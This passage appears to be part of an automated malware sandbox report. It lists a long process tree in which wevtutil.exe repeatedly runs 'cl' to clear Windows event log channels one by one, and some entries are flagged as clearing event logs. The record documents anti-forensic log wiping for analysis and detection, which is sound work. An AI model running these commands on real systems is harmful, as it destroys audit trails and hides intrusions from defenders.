- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ComDlg32/Analytic"
    3⤵
    PID:36372
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ComDlg32/Debug"
    3⤵
    PID:36384
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
    3⤵
    PID:36392
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
    3⤵
    PID:36408
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CredUI/Diagnostic"
    3⤵
    PID:36420
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-RNG/Analytic"
    3⤵
    PID:36432
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/Analytic"
    3⤵
    PID:36440
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/PerfTiming"
    3⤵
    PID:36460
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DCLocator/Debug"
    3⤵
    PID:36468
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DNS-Client/Operational"
    3⤵
    PID:36480
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DUI/Diagnostic"
    3⤵
    PID:36492
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DUSER/Diagnostic"
    3⤵
    PID:36512
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXGI/Analytic"
    3⤵
    PID:36524
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXGI/Logging"
    3⤵
    PID:36532
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXP/Analytic"
    3⤵
    PID:36544
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Analytic"
    3⤵
    PID:36556
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Debug"
    3⤵
    PID:36568
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"
    3⤵
    PID:36580
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deplorch/Analytic"
    3⤵
    PID:36588
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSync/Analytic"
    3⤵
    PID:36604
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"
    3⤵
    PID:36616
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUx/Informational"
    3⤵
    PID:36628
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUx/Performance"
    3⤵
    PID:36640
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"
    3⤵
    PID:36652
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Operational"
    3⤵
    PID:36664
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DhcpNap/Admin"
    3⤵
    - Clears Windows event logs
    PID:36676
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DhcpNap/Operational"
    3⤵
    PID:36692
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"
    3⤵
    PID:36696
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Operational"
    3⤵
    PID:36716
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiagCpl/Debug"
    3⤵
    PID:36728
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Analytic"
    3⤵
    PID:36740
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Debug"
    3⤵
    PID:36752
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"
    3⤵
    PID:36764
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-MSDE/Debug"
    3⤵
    PID:36772
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Analytic"
    3⤵
    PID:36780
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Debug"
    3⤵
    PID:36796
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"
    3⤵
    PID:36812
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Debug"
    3⤵
    PID:36824
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"
    3⤵
    PID:36836
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Perfhost/Analytic"
    3⤵
    PID:36848
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"
    3⤵
    PID:36860
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"
    3⤵
    PID:3916
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Analytic"
    3⤵
    PID:4544
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Debug"
    3⤵
    PID:36868
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"
    3⤵
    PID:36880
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Debug"
    3⤵
    - Clears Windows event logs
    PID:36892
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"
    3⤵
    PID:36904
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-TaskManager/Debug"
    3⤵
    PID:36916
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDC/Analytic"
    3⤵
    PID:36928
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDI/Debug"
    3⤵
    PID:36940
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Debug"
    3⤵
    PID:36952
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"
    3⤵
    PID:36964
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack-Counters/Diagnostic"
    3⤵
    PID:36976
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack/Diagnostic"
    3⤵
    PID:36988
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic"
    3⤵
    PID:37000
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic/Loopback"
    3⤵
    PID:37012
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"
    3⤵
    PID:37024
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D10/Analytic"
    3⤵
    PID:37036
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D10_1/Analytic"
    3⤵
    PID:37052
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/Analytic"
    3⤵
    PID:37060
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/Logging"
    3⤵
    PID:37076
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/PerfTiming"
    3⤵
    PID:37088
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectShow-KernelSupport/Performance"
    3⤵
    PID:37100
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectSound/Debug"
    3⤵
    PID:37112
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectWrite-FontCache/Tracing"
    3⤵
    PID:37124
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectWrite/Tracing"
    3⤵
    PID:37136
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Disk/Operational"
    3⤵
    PID:37152
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"
    3⤵
    PID:37160
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"
    3⤵
    PID:37172
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"
    3⤵
    PID:37188
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Debug"
    3⤵
    - Clears Windows event logs
    PID:37196
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Operational"
    3⤵
    PID:37208
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplaySwitch/Diagnostic"
    3⤵
    PID:37220
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Documents/Performance"
    3⤵
    PID:37240
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
    3⤵
    PID:37244
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:37252
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Performance"
    3⤵
    - Clears Windows event logs
    PID:37268
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxpTaskRingtone/Analytic"
    3⤵
    PID:37280
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxpTaskSyncProvider/Analytic"
    3⤵
    PID:37292
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EFS/Debug"
    3⤵
    PID:37304
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Analytic"
    3⤵
    PID:37312
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Debug"
    3⤵
    PID:37324
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Operational"
    3⤵
    PID:37332
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EaseOfAccess/Diagnostic"
    3⤵
    PID:37344
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventCollector/Debug"
    3⤵
    - Clears Windows event logs
    PID:37356
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"
    3⤵
    PID:37364
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog-WMIProvider/Debug"
    3⤵
    PID:37376
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog/Analytic"
    3⤵
    - Clears Windows event logs
    PID:37388
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog/Debug"
    3⤵
    PID:37400
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Analytic"
    3⤵
    PID:37412
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Debug"
    3⤵
    PID:37424
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Operational"
    3⤵
    PID:37436
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FailoverClustering-Client/Diagnostic"
    3⤵
    PID:37452
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"
    3⤵
    PID:37464
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Feedback-Service-TriggerProvider"
    3⤵
    PID:37456
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileInfoMinifilter/Operational"
    3⤵
    PID:37484
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Firewall-CPL/Diagnostic"
    3⤵
    PID:37496
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational"
    3⤵
    PID:37512
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Forwarding/Debug"
    3⤵
    PID:37524
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational"
    3⤵
    PID:37536
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-GettingStarted/Diagnostic"
    3⤵
    PID:37548
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational"
    3⤵
    PID:37564
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HAL/Debug"
    3⤵
    PID:37580
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenter/Debug"
    3⤵
    - Clears Windows event logs
    PID:37588
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenter/Performance"
    3⤵
    PID:37604
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenterCPL/Performance"
    3⤵
    PID:37612
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Help/Operational"
    3⤵
    PID:37624
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel Performance/Diagnostic"
    3⤵
    PID:37636
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational"
    3⤵
    PID:37648
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational"
    3⤵
    PID:37664
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service Performance/Diagnostic"
    3⤵
    PID:37676
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational"
    3⤵
    PID:37684
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup-ListenerService"
    3⤵
    PID:37696
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HotStart/Diagnostic"
    3⤵
    PID:37708
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HttpService/Trace"
    3⤵
    PID:37720
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IKE/Operational"
    3⤵
    PID:37732
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IKEDBG/Debug"
    3⤵
    PID:37744
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPBusEnum/Tracing"
    3⤵
    PID:37756
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPSEC-SRV/Diagnostic"
    3⤵
    PID:37768
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational"
    3⤵
    PID:37780
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-International/Operational"
    3⤵
    PID:37792
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Debug"
    3⤵
    PID:37804
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational"
    3⤵
    PID:2256
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Trace"
    3⤵
    PID:612
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Acpi/Diagnostic"
    3⤵
    PID:37824
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Boot/Analytic"
    3⤵
    PID:37836
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic"
    3⤵
    PID:37848
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Disk/Analytic"
    3⤵
    - Clears Windows event logs
    PID:37860
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin"
    3⤵
    PID:37872
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Analytic"
    3⤵
    PID:37884
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-File/Analytic"
    3⤵
    PID:4640
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Memory/Analytic"
    3⤵
    PID:3396
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Network/Analytic"
    3⤵
    PID:4416
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Diagnostic"
    3⤵
    PID:5432
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Diagnostic"
    3⤵
    PID:4680
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Diagnostic"
    3⤵
    PID:4644
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational"
    3⤵
    PID:2436
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Prefetch/Diagnostic"
    3⤵
    PID:4760
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Process/Analytic"
    3⤵
    PID:5444
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Processor-Power/Diagnostic"
    3⤵
    PID:4992
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Registry/Analytic"
    3⤵
    PID:5008
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Analytic"
    3⤵
    PID:5016
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational"
    3⤵
    PID:5460
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Analytic"
    3⤵
    PID:5032
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Debug"
    3⤵
    PID:1872
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational"
    3⤵
    PID:2572
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors"
    3⤵
    PID:1756
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational"
    3⤵
    PID:2456
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Known Folders API Service"
    3⤵
    PID:5056
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-L2NA/Diagnostic"
    3⤵
    PID:5052
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LDAP-Client/Debug"
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LUA-ConsentUI/Diagnostic"
    3⤵
    PID:5064
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Analytic"
    3⤵
    PID:35924
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Debug"
    3⤵
    PID:11268
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational"
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MCT/Operational"
    3⤵
    PID:5080
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-CLNT/Diagnostic"
    3⤵
    PID:5104
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-DRV/Diagnostic"
    3⤵
    PID:1784
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-SRV/Diagnostic"
    3⤵
    PID:4072
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Admin"
    3⤵
    PID:2616
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Debug"
    3⤵
    PID:676
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Diagnostic"
    3⤵
    PID:3448
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Admin"
    3⤵
    PID:4016
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Analytic"
    3⤵
    PID:4036
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Debug"
    3⤵
    PID:1632
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Operational"
    3⤵
    PID:2704
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SinkWriter"
    3⤵
    PID:3780
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SourceReader"
    3⤵
    PID:3628
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/Transform"
    3⤵
    PID:1536
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-PlayAPI/Analytic"
    3⤵
    PID:2272
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug"
    3⤵
    PID:2900
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MobilityCenter/Performance"
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NCSI/Analytic"
    3⤵
    PID:1716
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NCSI/Operational"
    3⤵
    PID:4088
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDF-HelperClassDiscovery/Debug"
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS-PacketCapture/Diagnostic"
    3⤵
    PID:2492
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS/Diagnostic"
    3⤵
    PID:11284
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS/Operational"
    3⤵
    PID:2864
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NTLM/Operational"
    3⤵
    PID:3344
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NWiFi/Diagnostic"
    3⤵
    PID:3584
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Narrator/Diagnostic"
    3⤵
    PID:2920
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetShell/Performance"
    3⤵
    PID:2556
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-and-Sharing-Center/Diagnostic"
    3⤵
    PID:3420
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/Operational"
    3⤵
    PID:1684
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/WHC"
    3⤵
    PID:860
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational"
    3⤵
    PID:1056
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Diagnostic"
    3⤵
    PID:3136
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational"
    3⤵
    PID:636
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Networking-Correlation/Diagnostic"
    3⤵
    PID:2240
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NlaSvc/Diagnostic"
    3⤵
    PID:3904
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational"
    3⤵
    - Clears Windows event logs
    PID:1680
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OLEACC/Debug"
    3⤵
    PID:1884
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OLEACC/Diagnostic"
    3⤵
    PID:1704
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine/Diagnostic"
    3⤵
    PID:1256
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Analytic"
    3⤵
    PID:2628
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Debug"
    3⤵
    PID:2696
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational"
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/SyncLog"
    3⤵
    PID:2260
- - C:\Windows\SysWOW64\wevtutil.exe
